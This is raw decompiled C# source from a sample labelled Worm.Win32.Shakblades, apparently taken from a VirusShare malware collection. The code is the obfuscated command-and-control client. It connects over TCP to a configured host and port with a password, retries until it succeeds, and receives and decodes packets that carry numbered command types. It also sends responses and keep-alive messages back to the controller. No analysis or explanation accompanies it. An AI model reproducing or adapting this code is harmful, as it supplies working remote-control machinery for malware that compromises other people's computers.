// Decompiled with JetBrains decompiler // Type: Ҧ߲๒ʽ໙ୄᴘ.߶᠟ᒸৃ // Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe using System; using System.Collections.Generic; using System.IO; using System.Net.Sockets; using System.Text; using System.Threading; namespace Ҧ߲๒ʽ໙ୄᴘ { internal class \u07F6\u181Fᒸৃ { private Socket \u1AF2ۈ\u18ADф٣ɶ̽; private bool ང\u10CEಖᠪ; private Thread \u1775\u197Eᦡગุ\u1879\u0FF1ᡷ; private Thread \u0C80\u137Cấޖᓨ; private string \u1C3CНဥƇᔋม; private int \u1064\u1AFFሒ; private string ݺۧᛊக; public \u07F6\u181Fᒸৃ(string Host, int Port, string Password) { this.\u1C3CНဥƇᔋม = Host; this.\u1064\u1AFFሒ = Port; this.ݺۧᛊக = Password; this.ང\u10CEಖᠪ = false; } public Socket \u17DFᓫ໋ྡଷ\u0886ᄢᏆᒪ => this.\u1AF2ۈ\u18ADф٣ɶ̽; public bool \u0557 => this.ང\u10CEಖᠪ; public string ᜭ => this.\u1C3CНဥƇᔋม; public int ᙖᇊৰਥ\u02D7\u1ADA => this.\u1064\u1AFFሒ; public string Ѣᖆܵ\u19F8ᗄ => this.ݺۧᛊக; public void ᴓ᳢ᔈȷᡭౖক\u1C8F८() => this.\u1757ਉᡋᤉ(); private void \u1757ਉᡋᤉ() { if (this.ང\u10CEಖᠪ) return; this.\u0C80\u137Cấޖᓨ = new Thread((ThreadStart) (() => { this.\u1AF2ۈ\u18ADф٣ɶ̽ = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); while (!this.\u1AF2ۈ\u18ADф٣ɶ̽.Connected) { try { this.\u1AF2ۈ\u18ADф٣ɶ̽.Connect(this.\u1C3CНဥƇᔋม, this.\u1064\u1AFFሒ); } catch { Thread.Sleep(TimeSpan.FromSeconds((double) ȩזြڹᡡỾỔው.\u09F6ϸ)); } } this.ٻܸ(); })); this.\u0C80\u137Cấޖᓨ.Start(); } private void ٻܸ() { if (this.ང\u10CEಖᠪ) return; this.ང\u10CEಖᠪ = true; if (this.ᜌ\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8 == null) return; this.ᜌ\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8((object) this, (EventArgs) null); } public void ຄ\u0011ڂʩ\u1AA1\u1C94ᚨ૨() { this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = new Thread(new ThreadStart(this.ড়ḥ\u08D9ጭṺদ\u1CFD\u1716)); this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Start(); } private void ড়ḥ\u08D9ጭṺদ\u1CFD\u1716() { try { MemoryStream ms = new MemoryStream(); byte[] array; do { array = new byte[this.\u1AF2ۈ\u18ADф٣ɶ̽.ReceiveBufferSize]; int num = this.\u1AF2ۈ\u18ADф٣ɶ̽.Receive(array, 0, array.Length, SocketFlags.Partial); if (num <= 0) throw new SocketException(); Array.Resize(ref array, num); ms.Write(array, 0, num); } while (!(char.ConvertFromUtf32((int) array[array.Length - 1]) == "\n")); ms.Close(); new Thread((ThreadStart) (() => { this.\u0B53ऐࡘ(ms.ToArray()); ms.Dispose(); ms = (MemoryStream) null; })).Start(); } catch (SocketException ex) { this.ຳѤᙍַኅߣϐᅍ(true); return; } catch (Exception ex) { this.ຳѤᙍַኅߣϐᅍ(true); Console.WriteLine(ex.Message); } this.ড়ḥ\u08D9ጭṺদ\u1CFD\u1716(); } private void \u0B53ऐࡘ(byte[] _param1) { List byteList = new List(); for (int index = 0; index < _param1.Length; ++index) { if (char.ConvertFromUtf32((int) _param1[index]) != "\n") { byteList.Add(_param1[index]); } else { this.Ờ(byteList.ToArray()); byteList.Clear(); } } } private void Ờ(byte[] Ʒ᮲ᑔ༨) { try { MemoryStream memoryStream = new MemoryStream(\u1928ᔾዔ.ᖝሇᬐ\u09D1য়᪷(Ʒ᮲ᑔ༨, true)); byte[] buffer = new byte[4]; memoryStream.Read(buffer, 0, buffer.Length); \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ int32 = (\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ) BitConverter.ToInt32(buffer, 0); byte[] numArray = new byte[memoryStream.Length - 4L]; memoryStream.Read(numArray, 0, numArray.Length); memoryStream.Close(); memoryStream.Dispose(); if (int32 != \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ឰಊୟ\u07BA) { if (this.ङᷢៅ\u02D2ჿ != null) this.ङᷢៅ\u02D2ჿ((object) this, new ᛕᔱ\u05CDᨈكအ\u0FFEན(numArray, numArray.Length, int32)); } else this.\u087Cἲ\u1370ኺࣱሤ(); Ʒ᮲ᑔ༨ = (byte[]) null; } catch { \u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6(); obj.Write("Broken Packet"); this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑣ᧑, obj.ࠨ಼\u10CEᇥ\u1CA0ฉ()).ᖣᅸڨฃ()); } } public int ೠ(byte[] _param1) { try { int sent = this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(_param1, 0, _param1.Length, SocketFlags.Partial) + this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(this.അΡጢૡ, 0, 1, SocketFlags.Partial); if (this.ଦ\u00A8\u0B0E̟\u0B54 != null && sent != 0) this.ଦ\u00A8\u0B0E̟\u0B54((object) this, new \u00B1ჵઆЩᎮɀኤʨՃ(sent)); return sent; } catch { return 0; } } private byte[] അΡጢૡ => Encoding.ASCII.GetBytes("\n"); private void \u087Cἲ\u1370ኺࣱሤ() => this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ឰಊୟ\u07BA, new byte[0]).ᖣᅸڨฃ()); public void ӊᖍւጨΟ\u0095ᠫஷ٤(string _param1) { \u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6(); obj.Write(_param1); this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑣ᧑, obj.ࠨ಼\u10CEᇥ\u1CA0ฉ()).ᖣᅸڨฃ()); } public bool ຳѤᙍַኅߣϐᅍ(bool _param1) { if (!this.ང\u10CEಖᠪ) return false; this.\u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర(); this.ང\u10CEಖᠪ = false; if (_param1 && this.ᴾੜᦇ\u0530ӟḍ್් != null) this.ᴾੜᦇ\u0530ӟḍ್්((object) this, (EventArgs) null); return true; } public void \u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర() { try { this.\u1AF2ۈ\u18ADф٣ɶ̽.Close(); this.\u1AF2ۈ\u18ADф٣ɶ̽ = (Socket) null; } catch { } try { this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Abort(); this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = (Thread) null; } catch { } } public event EventHandler ƬԀඈ; public event EventHandler ȉ᧗ቦᡭଔƯ᪽\u06DE; public event EventHandler<\u00B1ჵઆЩᎮɀኤʨՃ> ဢᰣᘜᗎളಘ\u19EDᡝ; public event EventHandler<ᛕᔱ\u05CDᨈكအ\u0FFEན> nᶏ\u0BFD; public enum ƪᆌቬኆ২ᇖࣩᄦ { ፒሼࠓઑᕹᙒ\u0FECᡱ = 0, \u0F38ླ = 1, ᠭÙ؀ = 2, ᜇࣧᴵࣴᏐᛇਝ = 3, \u0A5D\u0862Fπ = 4, ᘷᡣ = 5, ᄹٷᵹ = 6, ੲ = 7, ᮜᇖĺ̠Êᰆᡌᩉ\u0B49 = 8, ຜભᆰᮄعẏڡᯋ = 9, ԫЯࡃ = 15, // 0x0000000F ᩅ4ഗ = 16, // 0x00000010 బጲ\u0D99ᘔߥᗓᆵ = 17, // 0x00000011 ב = 18, // 0x00000012 ឰಊୟ\u07BA = 19, // 0x00000013 ᗽ\u0D56ᐁན᱘ = 20, // 0x00000014 ᑣ᧑ = 21, // 0x00000015 ᰟƓ = 22, // 0x00000016 \u1F16Ʈᝐ\u0F6Dṡ\u0E85 = 23, // 0x00000017 ᑎ\u0F2EተױၦѶᣔᘬ = 24, // 0x00000018 \u1C92\u193F\u0EFA = 25, // 0x00000019 } } }